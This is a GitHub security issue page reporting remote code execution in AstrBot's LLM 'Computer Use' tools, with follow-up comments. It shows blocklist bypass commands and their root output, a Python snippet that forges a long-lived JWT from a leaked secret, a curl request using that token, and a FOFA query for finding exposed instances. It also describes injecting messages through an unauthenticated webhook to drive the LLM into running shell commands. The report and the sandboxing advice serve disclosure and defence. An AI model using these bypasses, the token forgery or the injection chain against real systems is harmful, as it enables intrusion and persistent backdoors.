You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
AstrBot"s "Computer Use" feature allows shell execution via LocalShellComponent.exec() using a blocklist-based approach to prevent dangerous commands. The blocklist is trivially bypassable, leading to unrestricted RCE.
When combined with the unauthenticated webhook endpoint (/api/platform/webhook/{uuid}), an external attacker can inject malicious messages into the LLM pipeline and achieve RCE.
[Security Architecture Review] - Critical RCE via LLM Tool Execution
Hi @justinwoo280 (great catch) and AstrBot maintainers.
From an Enterprise Security perspective, the fundamental flaw here is not the weakness of the shell blacklist, but the architectural decision to execute dynamically generated, AI-driven code directly on the Host OS. Blacklisting shell commands is an unwinnable battle.
To mitigate this Critical RCE and protect exposed instances, the local runtime must be entirely re-architected.
Mandatory Enterprise-Grade Mitigations:
Absolute Sandboxing (Zero-Trust Execution): LocalPythonComponent and ExecuteShellTool MUST NEVER use subprocess.run on the host. Execution must be routed through an isolated, ephemeral Sandbox environment.
Implementation: Wrap the execution in an unprivileged Docker container (e.g., docker run --rm --network none --memory="256m" python:3.10-alpine python -c "...").
Drop all capabilities (--cap-drop=ALL) and strictly mount only the necessary temporary directories.
Deprecate the Blacklist:
Remove the _is_safe_command logic. It provides a false sense of security. Rely entirely on architectural isolation. If a process runs in a zero-privilege, network-less container, rm -rf / will only destroy the ephemeral container, keeping the host safe.
Human-in-the-Loop (HITL) for Host Modifications:
If operations must affect the host (e.g., FileWriteTool), they cannot be automated silently. Introduce a mandatory WebSocket/Dashboard prompt that requires explicit Admin approval (HITL) before the LLM can commit writes to the host filesystem.
Default Secure Posture:
Ensure enable_computer_use is heavily guarded. Activating it should throw a massive console warning about FOFA exposure, strongly recommending binding the dashboard to 127.0.0.1 or placing it behind an auth-gated reverse proxy, not 0.0.0.0.
Activity
justinwoo280 commentedon Jun 7, 2026
以下是对这篇报告的一些补充。
1.Python执行为零过滤。
上述简要提及了 python3 -c 作为一种绕过方式,但
LocalPythonComponent实际上是一个完全独立的执行路径:在
astrbot/core/computer/booters/local.py:139-174部分可以发现这些。class LocalPythonComponent(PythonComponent): async def exec( self, code: str, kernel_id: str | None = None, timeout: int = 30, silent: bool = False, ) -> dict[str, Any]: def _run() -> dict[str, Any]: result = subprocess.run( [os.environ.get("PYTHON", sys.executable), "-c", code], timeout=timeout, capture_output=True, )这部分代码会将
code参数直接传递给python3 -c <code>,以AstrBot进程的完整权限运行,没有隔离。虽然需要配置支持 tool calling 的 LLM Provider和配置 Webhook 平台,需要将默认为 false的computer_use_runtime打开,但是我感觉这绝对不是个好设计.....2.对于上述Shell黑名单绕过的校验
我测试了几种常见的拼接方法,发现确实有效。
命令: r""m --version _is_safe_command: True exit_code: 0 stdout: rm (GNU coreutils) 9.7 [绕过: env whoami] 命令: env whoami _is_safe_command: True exit_code: 0 stdout: root [绕过: /usr/bin/whoami] 命令: /usr/bin/whoami _is_safe_command: True exit_code: 0 stdout: root虽然我没有验证那几种,但是也应该是有效的。
3.攻击链
首先,前置条件的请求端点
/api/platform/webhook/{uuid}中UUID字段,在astrbot/core/utils/webhook_utils.py:80中生成:是64 bit 随机熵,本身不可预测。
但是在
config.py:1591-1595中可以看到:async def get_configs(self): ... return { "metadata": metadata, "config": config, # 完整 AstrBotConfig "platform_i18n_translations": platform_i18n_translations, }返回的
config对象包含:{ "dashboard": { "jwt_secret": "d81834147ed20d1203617aec74a1b7ba8822fde85859258b7d28173577b6e......", "pbkdf2_password": "pbkdf2_sha256$600000$...", "totp": "..." } }因为Astrbot本身为一用户Admin模型,没有用户组等权限等级逻辑,如果攻击者盗取了其密码,可以通过上述的方法拿到持久化的鉴权密钥。
在
auth.py:399-409中:def generate_jwt(self, username): payload = { "username": username, "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=7), } jwt_token = self.config["dashboard"].get("jwt_secret", None) token = jwt.encode(payload, jwt_secret, algorithm="HS256") return token我们可以看到JWT验证只检查签名和过期时间,不检查
token_type,没有吊销机制。而jwt_secret存储在配置中,修改密码不会轮换jwt_secret。也就是说,一旦泄露密码,可以让攻击者获得长期化后门。import jwt, datetime forged = jwt.encode({ "username": "astrbot", "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*10) }, "d81834147ed20d1203617aec74a1b7ba8822fde85859258b7d28173577b6e......", algorithm="HS256")攻击者可以伪造任意有效期的 token。即使管理员发现异常改了密码,这个 token 依然有效。
然后正常构造以下请求体
curl http://localhost:6185/api/config/get \ -H "Authorization: Bearer <forged_token>"响应体如下:
在
astrbot/core/astr_agent_tool_exec.py:187-241中的工具集成代码显示,当 enable_computer_use=True 且 runtime="local"时,
ExecuteShellTool(通过LocalShellComponent)和LocalPythonTool(通过LocalPythonComponent)均被暴露给 LLM:总结一下,虽然有RCE的执行路径,但是也算是有一定的前置条件,也不是无责任,但是对于使用enable_computer_use=True来使用LLM执行命令的用户还是有很大的风险,特别是暴露在公网上的端点,本身其接入并不需要公网环境,完全可以使用一般内网穿透作为入站,对其公网入站做严格限制。更何况如果使用弱口令的用户仅需攻击者合法登录一次便可获得持久化的后门。
例如使用FOFA测绘引擎可以看到的这些幸运用户
(body="docs.astrbot.app/faq.html" || body="astrbot_dashboard_jwt" || (port="6185" && body="astrbot")) && title=="AstrBot - 仪表盘"也请开发者们尽快核实并响应,谢谢。
Ilyasslamti commentedon Jun 7, 2026
[Security Architecture Review] - Critical RCE via LLM Tool Execution
Hi @justinwoo280 (great catch) and AstrBot maintainers.
From an Enterprise Security perspective, the fundamental flaw here is not the weakness of the shell blacklist, but the architectural decision to execute dynamically generated, AI-driven code directly on the Host OS. Blacklisting shell commands is an unwinnable battle.
To mitigate this Critical RCE and protect exposed instances, the
localruntime must be entirely re-architected.Mandatory Enterprise-Grade Mitigations:
Absolute Sandboxing (Zero-Trust Execution):
LocalPythonComponentandExecuteShellToolMUST NEVER usesubprocess.runon the host. Execution must be routed through an isolated, ephemeral Sandbox environment.docker run --rm --network none --memory="256m" python:3.10-alpine python -c "...").--cap-drop=ALL) and strictly mount only the necessary temporary directories.Deprecate the Blacklist:
Remove the
_is_safe_commandlogic. It provides a false sense of security. Rely entirely on architectural isolation. If a process runs in a zero-privilege, network-less container,rm -rf /will only destroy the ephemeral container, keeping the host safe.Human-in-the-Loop (HITL) for Host Modifications:
If operations must affect the host (e.g.,
FileWriteTool), they cannot be automated silently. Introduce a mandatory WebSocket/Dashboard prompt that requires explicit Admin approval (HITL) before the LLM can commit writes to the host filesystem.Default Secure Posture:
Ensure
enable_computer_useis heavily guarded. Activating it should throw a massive console warning about FOFA exposure, strongly recommending binding the dashboard to127.0.0.1or placing it behind an auth-gated reverse proxy, not0.0.0.0.anka-afk commentedon Oct 14, 2026
您好,感谢您对 AstrBot 项目的关注。
经过审查,该 Issue 不符合我们的提交规范,将被关闭。
该 Issue 存在以下问题之一或多项:
[Bug]/[Feature]标签,缺少实际的标题描述请您按照 Issue 模板 重新提交一份规范的报告:
我们会及时处理您重新提交的规范报告。
Hello, thank you for your interest in the AstrBot project.
After review, this Issue does not comply with our submission guidelines and will be closed.
This Issue has one or more of the following problems:
[Bug]/[Feature]label with no actual descriptionPlease resubmit a properly formatted report following the Issue template:
We will address your resubmitted report promptly.